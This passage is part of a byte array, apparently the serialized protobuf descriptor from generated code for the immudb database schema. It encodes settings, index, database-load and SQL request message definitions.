0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x4b, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x12, 0x45, 0x0a, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x5b, 0x0a, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0xa3, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 